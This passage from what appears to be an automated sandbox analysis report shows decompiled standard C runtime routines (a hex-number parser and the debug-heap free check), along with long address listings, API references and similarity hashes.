								 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
								goto L188;
							}
							L177:
							__ecx =  *(__ebp - 0x21c);
							if(__ecx != 0x58) {
								L182:
								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
								if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
									__eax =  *(__ebp - 0xc);
									__eax =  *(__ebp - 0xc) - 1;
									 *(__ebp - 0xc) = __eax;
									__ecx =  *(__ebp + 8);
									__edx =  *(__ebp - 0x21c);
									__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
									 *(__ebp - 0x21c) = 0x30;
								} else {
									if( *(__ebp - 0x1f0) != 0) {
										__ecx =  *(__ebp - 0x78);
										__ecx =  *(__ebp - 0x78) - 1;
										 *(__ebp - 0x78) = __ecx;
										if(__ecx == 0) {
											__dl =  *(__ebp - 0x1e);
											__dl =  *(__ebp - 0x1e) + 1;
											 *(__ebp - 0x1e) = __dl;
										}
									}
									 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
								}
								goto L188;
							}
							goto L178;
						}
						L172:
						if( *(__ebp - 0x1f0) == 0) {
							goto L174;
						}
						L173:
						__cl =  *(__ebp - 0x1e);
						__cl =  *(__ebp - 0x1e) + 1;
						 *(__ebp - 0x1e) = __cl;
						goto L175;
						L170:
						if( *(__ebp - 0x21c) != 0x2b) {
							goto L175;
						}
						goto L171;
					}
				}
			}

0x00425e02
0x00425e02
0x00425e02
0x00425e02
0x00425e02
0x00425e09
0x00425e09
0x00425e10
0x00000000
0x00000000
0x00425e12
0x00425e15
0x00425e18
0x00425e28
0x00425e28
0x00425e2b
0x00425e2e
0x00425e31
0x00425e47
0x00425e47
0x00425e4a
0x00425e4d
0x00425e50
0x00425e5c
0x00425e62
0x00425e69
0x00425f48
0x00425fa6
0x00425fa6
0x00425faa
0x00000000
0x00000000
0x00425fb0
0x00425fb0
0x00425fb0
0x00425fb6
0x00000000
0x00000000
0x00425fbc
0x00425fc0
0x00425fc8
0x00425fc8
0x00425fd0
0x00425fda
0x00426013
0x00426016
0x00426019
0x00425fdc
0x00425fdc
0x00425fe2
0x00425fe8
0x00425fef
0x00425ff5
0x00425ffb
0x0042600b
0x0042600b
0x004260ad
0x004260ad
0x004260b3
0x00426123
0x00426123
0x00426126
0x00426129
0x0042612c
0x00426130
0x00426137
0x0042613f
0x00000000
0x0042613f
0x004260b5
0x004260bb
0x004260be
0x004260ca
0x004260cd
0x004260ce
0x004260d4
0x004260da
0x004260dc
0x004260e2
0x004260ef
0x00426106
0x00426106
0x00426109
0x0042610c
0x0042610f
0x0042611b
0x00426121
0x00000000
0x00426121
0x004260f1
0x004260f1
0x004260f4
0x004260f7
0x004260fa
0x00000000
0x00000000
0x004260fc
0x004260fc
0x004260ff
0x00426101
0x00000000
0x00426101
0x00425fc2
0x00425fc6
0x00426021
0x00426021
0x00426029
0x00426033
0x004260a4
0x004260a7
0x004260aa
0x00426035
0x00426039
0x00426070
0x00426076
0x0042607c
0x0042607e
0x00426083
0x00426089
0x0042608f
0x00426096
0x0042609c
0x0042603b
0x00426042
0x00426065
0x00426068
0x0042606b
0x00426044
0x00426044
0x0042604a
0x00426050
0x00426057
0x0042605d
0x0042605d
0x0042606e
0x004260a2
0x00000000
0x00426033
0x00000000
0x00425fc6
0x00426144
0x00426144
0x0042614a
0x0042614c
0x00426152
0x00426154
0x0042615a
0x0042615d
0x0042615f
0x00426165
0x00426165
0x004262ce
0x004262d2
0x004262d4
0x004262d4
0x004262e5
0x00426338
0x00000000
0x004262e7
0x004262e7
0x004262e7
0x004262ed
0x00426336
0x00426831
0x00426831
0x0042683a
0x00426869
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x0042697a
0x0042697a
0x00426983
0x00426991
0x00426998
0x0042699c
0x004269a7
0x004269ac
0x004269ac
0x004269b6
0x00426a05
0x00426a09
0x00426aad
0x00426aad
0x00426ab0
0x00426abc
0x00426ac1
0x00000000
0x00426ac1
0x00426a0f
0x00426a11
0x00426a1f
0x00426a13
0x00426a13
0x00426a13
0x00426a29
0x00426a2f
0x00426a3c
0x00426a3e
0x00426a43
0x00426a45
0x00426a4a
0x00426a4f
0x00426a51
0x00426a56
0x00426a5c
0x00426a5e
0x00426a5e
0x00426a5c
0x00426a66
0x00000000
0x00426a68
0x00426a68
0x00426a6d
0x00426a89
0x00426a94
0x00426aa0
0x00426aa5
0x00000000
0x00426aa5
0x004269b8
0x004269b8
0x004269bc
0x004269d5
0x004269d5
0x004269d8
0x004269de
0x004269e4
0x004269f0
0x004269f5
0x00426ac7
0x00426ad4
0x00426ad4
0x004269be
0x004269c7
0x00000000
0x00000000
0x004269c9
0x004269c9
0x00000000
0x004269c9
0x004269b6
0x00426985
0x00426985
0x00426988
0x0042698f
0x00000000
0x00000000
0x00000000
0x00426993
0x0042536e
0x0042536e
0x0042536e
0x00425376
0x00000000
0x00000000
0x0042537c
0x00425383
0x00425388
0x0042538d
0x004253d9
0x004253e2
0x00426871
0x0042687a
0x0042687c
0x00426886
0x0042688b
0x0042688e
0x0042688e
0x00426886
0x00426897
0x0042689e
0x004268a3
0x004268a6
0x004268be
0x004268c3
0x004268e6
0x004268ee
0x004268f3
0x004268f8
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x00000000
0x00426978
0x00426971
0x004268fa
0x00426900
0x00426907
0x0042690c
0x0042690f
0x00426927
0x0042692c
0x00426968
0x0042696b
0x0042696e
0x00000000
0x0042696e
0x0042692e
0x00426934
0x00426942
0x00426950
0x00426953
0x0042695e
0x00426963
0x004268c5
0x004268c5
0x004268cb
0x004268d2
0x004268d9
0x004268de
0x004268de
0x00000000
0x004268c3
0x004253e8
0x004253e8
0x004253f2
0x00000000
0x004253f8
0x004253f8
0x00425402
0x00425406
0x00425416
0x00425422
0x00425425
0x0042542f
0x00425432
0x00425439
0x00425440
0x00425446
0x0042544c
0x00425452
0x00425455
0x0042545c
0x00425460
0x00425467
0x00425467
0x0042546d
0x00000000
0x00000000
0x00425473
0x00425479
0x00425482
0x0042548a
0x0042548f
0x00425494
0x004254bd
0x004254c0
0x004254cf
0x004254dc
0x00425672
0x00425675
0x00425677
0x00000000
0x00425677
0x004254e2
0x004254e8
0x004254ef
0x00000000
0x00425667
0x0042566a
0x0042566d
0x00000000
0x00000000
0x004254f6
0x00000000
0x00000000
0x00425518
0x00425518
0x0042551b
0x0042551f
0x00425522
0x00425560
0x00425560
0x00425563
0x00425567
0x0042556a
0x00425588
0x00425588
0x0042558b
0x0042558f
0x00425592
0x004255c4
0x004255c4
0x004255c4
0x004255c6
0x004255c8
0x004255cb
0x004255cb
0x004255ce
0x004255d1
0x004255db
0x004255db
0x004255e5
0x00000000
0x004255e5
0x00425594
0x00425594
0x00425597
0x0042559b
0x0042559e
0x00000000
0x00000000
0x004255a0
0x004255a0
0x004255a3
0x004255a7
0x004255aa
0x00000000
0x00000000
0x004255ac
0x004255ac
0x004255af
0x004255b3
0x004255b6
0x00000000
0x00000000
0x004255b8
0x004255b8
0x004255bb
0x004255bf
0x004255c2
0x004255ea
0x004255ea
0x004255ec
0x004255ee
0x004255f1
0x004255f1
0x004255f4
0x004255f7
0x00425601
0x00425601
0x00000000
0x0042560b
0x00000000
0x004255c2
0x0042556c
0x0042556c
0x0042556f
0x00425573
0x00425576
0x00000000
0x00425578
0x00425578
0x0042557b
0x0042557e
0x00000000
0x0042557e
0x00425576
0x00425524
0x00425524
0x00425527
0x0042552b
0x0042552e
0x00000000
0x00425530
0x00425530
0x00425533
0x00425536
0x0042553c
0x0042553f
0x00425542
0x0042554c
0x00000000
0x0042554c
0x00000000
0x0042560d
0x0042560d
0x00425610
0x00425613
0x00000000
0x00000000
0x004254fb
0x004254fb
0x004254fe
0x00425501
0x0042550a
0x0042550d
0x00000000
0x00000000
0x00425618
0x00425618
0x0042561b
0x0042561f
0x00425622
0x0042564e
0x00425651
0x00425651
0x00425653
0x00000000
0x00425624
0x00425624
0x00425627
0x0042562a
0x00425630
0x00425633
0x00425636
0x00425640
0x00000000
0x00425640
0x00000000
0x00425656
0x00425656
0x0042565c
0x0042565f
0x00000000
0x00000000
0x00000000
0x00000000
0x00425496
0x0042549f
0x004254b5
0x0042567a
0x00000000
0x0042567a
0x00425494
0x0042567f
0x00425685
0x004256a1
0x00425687
0x0042568a
0x00425693
0x0042569c
0x0042569c
0x004256a8
0x004256b5
0x004256ec
0x004256ec
0x004256f2
0x004256f5
0x004256fc
0x0042573d
0x00425741
0x00425751
0x00425758
0x00425764
0x0042576a
0x004257e5
0x004257e8
0x004257f7
0x00425804
0x004267dc
0x004267e8
0x00426814
0x0042681a
0x0042681d
0x00426829
0x0042682e
0x0042682e
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004267ea
0x004267ed
0x004267f0
0x004267fe
0x00426803
0x00426806
0x00000000
0x00426806
0x0042580a
0x00425810
0x00425817
0x00000000
0x0042581e
0x0042581e
0x00425825
0x00425830
0x00425839
0x00425839
0x0042583c
0x0042583c
0x0042583f
0x00425846
0x00425848
0x0042584d
0x0042584d
0x00425850
0x00425850
0x00425853
0x00000000
0x00000000
0x00425f4e
0x00425f4e
0x00425f55
0x00425f63
0x00425f63
0x00425f6a
0x00425fa6
0x00425fa6
0x00425faa
0x00000000
0x00000000
0x00000000
0x00426170
0x00426170
0x00426170
0x00426174
0x00426176
0x00000000
0x00000000
0x0042617c
0x0042617c
0x00426180
0x00426188
0x00426188
0x00426190
0x00426198
0x0042619a
0x004261c3
0x004261c6
0x004261c6
0x004261c9
0x0042619c
0x004261a2
0x004261a5
0x004261ab
0x004261bb
0x004261bb
0x0042622f
0x0042622f
0x00426233
0x00426235
0x00426297
0x00426297
0x0042629a
0x0042629a
0x0042629d
0x004262a0
0x004262a4
0x004262ab
0x004262b3
0x00000000
0x004262b3
0x00426237
0x0042623d
0x00426240
0x00426246
0x0042624c
0x00426252
0x00426256
0x0042625c
0x00426263
0x0042627a
0x0042627a
0x0042627d
0x0042627d
0x00426280
0x00426283
0x0042628f
0x00426295
0x00000000
0x00426295
0x00426265
0x00426265
0x00426268
0x00426268
0x0042626b
0x0042626e
0x00000000
0x00000000
0x00426270
0x00426270
0x00426273
0x00426275
0x00000000
0x00426275
0x00426182
0x00426182
0x00426186
0x004261ce
0x004261ce
0x004261d6
0x004261de
0x004261e0
0x00426226
0x00426229
0x00426229
0x0042622c
0x004261e2
0x004261e2
0x004261e6
0x0042620d
0x00426213
0x00426219
0x0042621c
0x0042621c
0x0042621e
0x004261e8
0x004261e8
0x004261ef
0x00426202
0x00426205
0x00426205
0x00426208
0x004261f1
0x004261f7
0x004261fa
0x004261fa
0x0042620b
0x00426224
0x00000000
0x004261e0
0x00000000
0x00426186
0x004262b8
0x004262b8
0x004262bc
0x004262be
0x004262c0
0x004262c6
0x004262c8
0x004262c8
0x00000000
0x004262be
0x00425fa6
0x00425f6c
0x00425f6c
0x00425f6f
0x00425f6f
0x00425f72
0x00425f75
0x00425f8b
0x00425f8b
0x00425f8e
0x00425f8e
0x00425f91
0x00425f94
0x00425fa0
0x00425fa6
0x00425fa6
0x00425faa
0x00000000
0x00000000
0x00000000
0x00425faa
0x00000000
0x00425fa6
0x00425f77
0x00425f77
0x00425f7e
0x00000000
0x00000000
0x00425f80
0x00425f83
0x00425f86
0x00000000
0x00425f86
0x00425f57
0x00425f57
0x00425f5a
0x00425f5c
0x00000000
0x00000000
0x0042635a
0x0042635a
0x00426361
0x00426368
0x00426383
0x00426383
0x0042638a
0x004263b0
0x004263b0
0x004263b7
0x004263b9
0x004263b9
0x004263c0
0x004263c0
0x004263c0
0x004263c8
0x004263d0
0x004263d2
0x00000000
0x00000000
0x004263d8
0x004263d8
0x004263de
0x004263e1
0x004263e4
0x004263e6
0x00000000
0x00000000
0x004263e8
0x004263ee
0x004263f1
0x004263fd
0x00426400
0x00426406
0x0042640b
0x0042640e
0x00426411
0x00426415
0x0042641c
0x00426423
0x0042642a
0x0042642e
0x00426436
0x00426438
0x0042643f
0x0042643f
0x00426442
0x00426445
0x00426448
0x00426454
0x00000000
0x00426454
0x0042643a
0x00000000
0x0042643a
0x0042645f
0x0042645f
0x00426466
0x0042646e
0x00426470
0x00426472
0x00426475
0x00426479
0x00426480
0x00426482
0x0042659b
0x0042659b
0x004265a2
0x0042675e
0x00426761
0x00426764
0x00426767
0x0042676b
0x00426772
0x0042677a
0x00426781
0x004267d5
0x00000000
0x004267d5
0x00426783
0x00426783
0x00426787
0x00426789
0x0042678e
0x00426791
0x0042679a
0x0042679d
0x004267a0
0x004267ab
0x004267ac
0x004267b2
0x004267b3
0x004267b6
0x004267b7
0x004267bb
0x004267bb
0x004267be
0x004267bf
0x004267ce
0x004267d0
0x004267d0
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x004265a8
0x004265a8
0x004265af
0x004265be
0x004265be
0x004265c4
0x004265c7
0x004265ca
0x004265cc
0x00000000
0x00000000
0x004265d2
0x004265d8
0x004265db
0x004265e1
0x004265e4
0x004265e7
0x004265eb
0x004265f2
0x004265f9
0x00426600
0x00426604
0x0042660c
0x0042660e
0x00426615
0x00426615
0x00426618
0x0042661b
0x0042661e
0x0042662a
0x00426630
0x00426637
0x00426680
0x00426680
0x00426687
0x004266bf
0x004266bf
0x004266bf
0x004266c7
0x004266cf
0x004266d1
0x00000000
0x00000000
0x004266d7
0x004266d7
0x004266dd
0x004266e0
0x004266e3
0x004266e5
0x00000000
0x00000000
0x004266e7
0x004266ed
0x004266f0
0x004266fc
0x004266ff
0x00426705
0x0042670a
0x0042670d
0x00426710
0x00426714
0x0042671b
0x00426722
0x00426729
0x0042672d
0x00426735
0x00426737
0x0042673e
0x00426741
0x00426744
0x00426747
0x00426753
0x00000000
0x00426753
0x00426739
0x00000000
0x00426739
0x00000000
0x004266bf
0x00426689
0x00426689
0x0042668f
0x00426692
0x00426695
0x00426697
0x004266a4
0x004266a7
0x004266a7
0x004266aa
0x004266ad
0x004266b9
0x00426699
0x0042669c
0x0042669f
0x0042669f
0x00000000
0x00426697
0x00426639
0x0042663f
0x00426642
0x00426648
0x0042664b
0x0042664e
0x00426652
0x00426659
0x00426660
0x00426667
0x0042666b
0x00426673
0x00426675
0x0042667c
0x00000000
0x0042667c
0x00426677
0x00000000
0x00426677
0x00426610
0x00000000
0x00426610
0x004265b1
0x004265b1
0x004265b8
0x00000000
0x00000000
0x00000000
0x004265b8
0x00426488
0x00426488
0x0042648e
0x00426491
0x00426494
0x00426496
0x00000000
0x00000000
0x0042649c
0x0042649c
0x0042649f
0x004264a2
0x004264a5
0x004264b1
0x004264bd
0x004264c0
0x004264c3
0x004264c8
0x004264cb
0x004264ce
0x004264d2
0x004264d9
0x004264e0
0x004264e7
0x004264eb
0x004264f3
0x004264f5
0x004264fc
0x004264fc
0x004264fc
0x00426504
0x0042650c
0x0042650e
0x00000000
0x00000000
0x00426514
0x00426514
0x0042651a
0x0042651d
0x00426520
0x00426522
0x00000000
0x00000000
0x00426524
0x0042652a
0x0042652d
0x00426539
0x0042653c
0x00426542
0x00426547
0x0042654a
0x0042654d
0x00426551
0x00426558
0x0042655f
0x00426566
0x0042656a
0x00426572
0x00426574
0x0042657b
0x0042657e
0x00426581
0x00426584
0x00426590
0x00000000
0x00426590
0x00426576
0x00000000
0x00426576
0x00000000
0x004264fc
0x004264f7
0x00000000
0x004264f7
0x0042638c
0x0042638c
0x0042638f
0x00426392
0x00426395
0x00426398
0x00426398
0x0042639b
0x0042639e
0x004263aa
0x00000000
0x004263aa
0x0042636a
0x00426370
0x00426373
0x00426379
0x0042637c
0x00000000
0x00000000
0x00000000
0x00000000
0x00426342
0x00426342
0x00426345
0x0042634b
0x0042634f
0x00426351
0x00426355
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00426353
0x004262f8
0x004262f8
0x004262fc
0x00426314
0x00426318
0x0042631a
0x00426329
0x00426333
0x0042631c
0x0042631c
0x0042631f
0x00426325
0x00426325
0x004262fe
0x004262fe
0x00426301
0x00426307
0x00426309
0x0042630f
0x0042630f
0x00000000
0x00000000
0x00425f4a
0x00425f4a
0x00000000
0x00000000
0x00425858
0x00425858
0x0042585f
0x00425861
0x00425863
0x00425866
0x00425866
0x00425868
0x00425868
0x0042586b
0x00000000
0x00000000
0x00425e09
0x00425e10
0x00000000
0x00000000
0x00000000
0x00000000
0x00425870
0x00425870
0x00425877
0x00425879
0x0042587b
0x0042587e
0x0042587e
0x00425881
0x00425881
0x00425884
0x00425887
0x0042588a
0x0042588d
0x00425890
0x00425893
0x00425896
0x00425899
0x0042589c
0x004258a1
0x004258a4
0x004258a7
0x004258aa
0x004258aa
0x004258ad
0x004258ad
0x004258b0
0x004258b8
0x004258c0
0x004258c4
0x004258c6
0x004258c9
0x004258cc
0x004258cf
0x004258d1
0x004258d5
0x004258d8
0x004258d8
0x004258db
0x004258de
0x004258e1
0x004258e1
0x004258cf
0x004258e5
0x004258e5
0x004258e5
0x004258e8
0x004258eb
0x004258ee
0x00000000
0x00000000
0x004258f4
0x004258f4
0x004258f7
0x004258f9
0x004258ff
0x00425902
0x00425905
0x00425909
0x0042590c
0x00425921
0x00425921
0x00425924
0x0042592b
0x00425932
0x0042593a
0x0042593c
0x00425943
0x00425949
0x0042594c
0x0042594f
0x004259d2
0x00000000
0x004259d2
0x0042590e
0x0042590e
0x00425912
0x00425914
0x00000000
0x00000000
0x00425916
0x00425916
0x00425919
0x0042591c
0x0042591f
0x00425954
0x00425954
0x00425957
0x00425959
0x0042595f
0x00425962
0x00425965
0x00425969
0x0042596d
0x0042596f
0x00425979
0x0042597c
0x0042597f
0x00425982
0x00425971
0x00425971
0x00425974
0x00425974
0x00425985
0x00425988
0x00425995
0x00425995
0x00425995
0x00425999
0x0042599d
0x0042599f
0x00000000
0x00000000
0x004259a1
0x004259a5
0x004259ac
0x004259b4
0x004259b6
0x004259bd
0x004259c3
0x004259c6
0x004259c9
0x0042598d
0x00425990
0x00425990
0x00425992
0x00425992
0x004259ce
0x004259ce
0x00000000
0x004259ce
0x00000000
0x0042591f
0x004259d7
0x004259d7
0x004259da
0x004259dd
0x004259df
0x004259e6
0x004259e6
0x004259ea
0x004259ec
0x004259ef
0x004259ef
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00425a2c
0x00425a35
0x00425a38
0x00425a3a
0x00425bd3
0x00425bd3
0x00425bd7
0x00425cb7
0x00425cb7
0x00425cba
0x00425cbd
0x00425df8
0x00000000
0x00425df8
0x00425cc3
0x00425cc7
0x00425cc9
0x00425cd5
0x00425cd8
0x00425cdc
0x00425ce6
0x00425ce8
0x00425d7c
0x00425d7f
0x00425d83
0x00425d85
0x00425d8c
0x00425d97
0x00425d9a
0x00425daa
0x00425db0
0x00425dcc
0x00425dcc
0x00425dce
0x00425db2
0x00425db8
0x00425db8
0x00425de3
0x00425dee
0x00425df3
0x00425df3
0x00425d9a
0x00425d8c
0x00425cee
0x00425cf3
0x00425cf6
0x00425cfa
0x00425cfc
0x00425d03
0x00425d10
0x00425d13
0x00425d25
0x00425d2b
0x00425d49
0x00425d49
0x00425d4b
0x00425d2d
0x00425d33
0x00425d33
0x00425d62
0x00425d6f
0x00425d74
0x00425d74
0x00425d13
0x00425d03
0x00425d77
0x00425ce8
0x00425cdc
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00425bdd
0x00425be2
0x00425bec
0x00425bee
0x00425c54
0x00425c57
0x00425c5a
0x00425c5e
0x00425c60
0x00425c67
0x00425c69
0x00425c6d
0x00425c75
0x00425c7b
0x00425c8e
0x00425c8e
0x00425c91
0x00425c7d
0x00425c83
0x00425c83
0x00425ca6
0x00425caa
0x00425caf
0x00425caf
0x00425c6d
0x00425c67
0x00425bf0
0x00425bf2
0x00425bf5
0x00425bf8
0x00425bfc
0x00425bfe
0x00425c05
0x00425c07
0x00425c0b
0x00425c13
0x00425c19
0x00425c2c
0x00425c2c
0x00425c2f
0x00425c1b
0x00425c1b
0x00425c21
0x00425c21
0x00425c46
0x00425c4a
0x00425c4f
0x00425c4f
0x00425c0b
0x00425c05
0x00425c52
0x00000000
0x00425cb2
0x00425a40
0x00425a46
0x00425a4d
0x00425a52
0x00425a55
0x00425a5b
0x00425a62
0x00425bb0
0x00425bb6
0x00425bb9
0x00425bc4
0x00425bc9
0x00000000
0x00425bc9
0x00425a68
0x00425a68
0x00425a6c
0x00425ac7
0x00425ac7
0x00425acb
0x00425acd
0x00425ba5
0x00425ba8
0x00425ba8
0x00425bab
0x00425bae
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00000000
0x00425a2a
0x00425ad3
0x00425ad3
0x00425ad7
0x00425ae5
0x00425ae9
0x00425aeb
0x00425b8f
0x00425b97
0x00425b9d
0x00425b9d
0x00425ba0
0x00425af1
0x00425af7
0x00425afd
0x00425b05
0x00425b0a
0x00425b0d
0x00425b0f
0x00425b14
0x00425b14
0x00425b17
0x00425b1e
0x00425b23
0x00425b26
0x00425b26
0x00425b31
0x00425b3b
0x00425b60
0x00425b65
0x00425b6b
0x00425b6f
0x00425b78
0x00425b81
0x00425b81
0x00000000
0x00425ba3
0x00425ad9
0x00425ad9
0x00000000
0x00425ad9
0x00425a6e
0x00425a6e
0x00425a72
0x00425a8f
0x00425a8f
0x00425a93
0x00000000
0x00000000
0x00425a99
0x00425a9f
0x00425aa2
0x00425abf
0x00425ac1
0x00000000
0x00000000
0x00000000
0x00425ac1
0x00425a74
0x00425a74
0x00425a7b
0x00425a86
0x00425a86
0x00425a8d
0x00000000
0x00000000
0x00000000
0x00425a8d
0x00425a7d
0x00425a7d
0x00425a84
0x00000000
0x00000000
0x00000000
0x00425a84
0x00425a23
0x004259e1
0x00000000
0x00000000
0x00000000
0x00000000
0x00425817
0x0042576c
0x00425770
0x0042577e
0x00425781
0x0042578a
0x00425793
0x00425799
0x004257a2
0x004257ab
0x004257ae
0x004257b1
0x004257b8
0x00000000
0x004257ba
0x004257ba
0x004257c3
0x004257cf
0x004257d2
0x004257c5
0x004257c7
0x004257ca
0x004257ca
0x004257da
0x00000000
0x004257da
0x004257b8
0x00425772
0x00425776
0x00000000
0x00000000
0x00425778
0x0042577c
0x00000000
0x00000000
0x00000000
0x0042577c
0x0042575a
0x0042575e
0x00426842
0x00426848
0x0042684f
0x00426856
0x0042685b
0x00000000
0x0042685b
0x00000000
0x0042575e
0x00425743
0x0042574a
0x00000000
0x0042574c
0x00000000
0x0042574c
0x0042574a
0x004256fe
0x00425702
0x00425722
0x00425725
0x00425728
0x0042572f
0x00425734
0x00425737
0x00000000
0x00425737
0x00425704
0x00425708
0x00000000
0x0042570a
0x00425712
0x00425717
0x0042571a
0x00000000
0x0042571a
0x004256b7
0x004256b7
0x004256c0
0x004256cd
0x004256d6
0x00000000
0x004256d6
0x004256c2
0x004256cb
0x004256e4
0x004256e6
0x00000000
0x004256e6
0x00000000
0x004256cb
0x004256b5
0x0042538f
0x00425395
0x004253ad
0x004253b2
0x004253b5
0x004253b5
0x004253bb
0x004253c3
0x004253cb
0x004253d0
0x004253d3
0x00000000
0x004253b5
0x0042538d
0x00000000
0x0042536e
0x00426971
0x00426831
0x004262ef
0x004262ef
0x004262f2
0x004262f5
0x00000000
0x004262f5
0x00000000
0x004262e5
0x00425fa6
0x00425e6f
0x00425e6f
0x00425e72
0x00425e75
0x00425e78
0x00425e84
0x00425e8a
0x00425e94
0x00425ea2
0x00425ea5
0x00425ea8
0x00425eab
0x00425eb7
0x00425ec4
0x00425ec6
0x00425ec9
0x00425ecc
0x00425ed3
0x00425ed5
0x00425ed8
0x00425edb
0x00425edb
0x00425ed3
0x00425ede
0x00000000
0x00425ede
0x00425e96
0x00425e96
0x00425ea0
0x00425ee7
0x00425eed
0x00425ef0
0x00425efa
0x00425f22
0x00425f25
0x00425f28
0x00425f2b
0x00425f2f
0x00425f36
0x00425f3e
0x00425efc
0x00425f03
0x00425f05
0x00425f08
0x00425f0b
0x00425f0e
0x00425f10
0x00425f13
0x00425f16
0x00425f16
0x00425f0e
0x00425f19
0x00425f19
0x00000000
0x00425efa
0x00000000
0x00425ea0
0x00425e33
0x00425e3a
0x00000000
0x00000000
0x00425e3c
0x00425e3c
0x00425e3f
0x00425e42
0x00000000
0x00425e1f
0x00425e26
0x00000000
0x00000000
0x00000000
0x00425e26
0x00425e09

APIs

__inc.LIBCMTD ref: 00425E54
__inc.LIBCMTD ref: 00425E7C
__inc.LIBCMTD ref: 00425EAF
__un_inc.LIBCMTD ref: 00425F36
_isxdigit.LIBCMTD ref: 00425FD0
__hextodec.LIBCMTD ref: 00426003

Strings

F, xrefs: 004262CE
8, xrefs: 004261E8

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: de5d7af3972e8d403cbd0358f9ae84687473e2e829e24c4f4d58bd9f5befd751
Instruction ID: 4cc1e3b0c16964d90ba3fb41e984a55e12855b416d97cdd50133f3a19799274f
Opcode Fuzzy Hash: de5d7af3972e8d403cbd0358f9ae84687473e2e829e24c4f4d58bd9f5befd751
Instruction Fuzzy Hash: 3002AF70E042798BCF24DFA8E9847FEBBB0AF15308F6481DAD40967342D6395A81DF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9A5, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041D9B9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041DA45
_CheckBytes.LIBCMTD ref: 0041DAF0
_CheckBytes.LIBCMTD ref: 0041DBAA
_memset.LIBCMT ref: 0041DCA1
__free_base.LIBCMTD ref: 0041DCAD

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041DB39
Client hook free failure., xrefs: 0041DA1C
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041DAAF
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041DC31
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041DB77
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041DC6A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DA5D, 0041DABB, 0041DC76
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041DBF3
tDj, xrefs: 0041D9FB
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041D9C9
_CrtIsValidHeapPointer(pUserData), xrefs: 0041DA51

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: a842607d11a5806b24abaeb47f70238aea16dfff95b82e70e18808192fc30f27
Instruction ID: a35d564ab1079054334dccc2878399e5d20daab7f1358d0f4008b898a5559abe
Opcode Fuzzy Hash: a842607d11a5806b24abaeb47f70238aea16dfff95b82e70e18808192fc30f27
